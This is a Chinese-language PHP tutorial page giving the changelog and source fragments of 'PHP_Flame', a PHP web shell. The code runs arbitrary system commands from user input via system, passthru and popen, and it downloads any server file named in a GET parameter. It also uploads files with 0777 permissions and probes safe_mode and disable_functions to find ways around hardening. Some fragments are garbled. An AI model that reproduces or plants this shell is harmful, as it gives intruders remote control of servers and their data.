跳转到主内容
websoft网络软件专家 - 深耕网络技术,打造实用软件!

PHP_Flame(Version:Progress)的原代码_PHP教程

I PHP_Flame (Version: Progress ) 的一些信息: *修正了无法下载文件的BUG *修正了无法返回上级的BUG *修正了代码编辑出现错误的BUG ...... *增加PHPINFO的功能 *增加多文件下载的功能 *增加执行系统命令的功能 *增加代码查看功能 *增加服务器安全探测功能 ....... *还有许多美化工作。。。。。。 相关的资料: 1。修正了无法返回上级的BUG的代码: echo " 返回上级 "; 2。修正了无法下载文件的相关代码: case "download": if (!@is_file($_GET['file_name'])) echo"你要下的文件不存在"; $filename = basename($_GET['file_name']); $filename_info = explode('.', $filename); $fileext = $filename_info[count($filename_info)-1]; header('Content-type: application/x-'.$fileext); header('Content-Disposition: attachment; filename='.$filename); header('Content-Description: PHP3 Generated Data'); readfile($_GET['file_name']); break; 3。增加代码查看功能 文件代码 4。修正了代码编辑出现错误的代码: $tem= str_replace("/textarea>","//textarea>",$tem); 。。。。。 $tem= str_replace("//textarea>","/textarea>",$tem); 5。增加服务器安全探测功能: if (get_cfg_var("safe_mode"))echo"on ";else echo"off "; echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions"); if ($dis_func=="") { echo(" no value "); } else { $dis_func=str_replace(" "," ",$dis_func); $dis_func=str_replace(","," ",$dis_func); echo("$dis_func"); } 6。执行系统命令部分的代码: if ($actionaa=="cmd") { ?> >system>passthru>show_source>opendir>popen if (!$method) { $method="system"; } if (!$cmd) { echo "* JSW'S PHP FLAME "; echo "* Author: JSW "; echo "* safe_mode:";if (get_cfg_var("safe_mode"))echo"on ";else echo"off "; echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions"); if ($dis_func=="") { echo(" no value "); } else { $dis_func=str_replace(" "," ",$dis_func); $dis_func=str_replace(","," ",$dis_func); echo("$dis_func"); } echo " * Now please choose a function and enter the command......"; } echo "
";
if ($method=="system") {
system("$cmd 2>&1");
}
if ($method=="passthru") {
passthru("$cmd 2>&1");
}
if ($method=="opendir") {
$h=opendir($cmd);
while($file=readdir($h)) {
echo "$file\n";
}
}
if ($method=="show_source") {
if (show_source($cmd)) {
//echo "
"; 
//echo show_source($file);
//echo "
"; } else { echo ""; } } if ($method=="popen") { $pp = popen('$cmd 2>&1', 'r'); $read = fread($pp, 2096); echo $read; pclose($pp); } echo ""; exit; } ?> 7。增加文件上载的代码: php if($dir=="") $dir="./"; ?> if($tools==upload) { for($i=1;$i{ $temp1="userfile".$i; $temp2="userfile".$i."_name"; $source=$$temp1; $source_name=$$temp2; if(@$source!="") { @$v=file_exists($filedir); if(!$v) { mkdir(@$filedir,0777); } @chmod($filedir,0777); if(file_exists("$filedir/$source_name")=="1") { if($up_flag=="y") { @unlink($filedir/$source_name); @copy($source,"$filedir/$source_name"); echo $source_name."已覆盖上传 "; } else echo $source_name."请重新上传! "; } else { @copy($source,"$filedir/$source_name"); echo $source_name."已上传 "; } } }//end for echo" JSW'S PHP FLAME

相关文章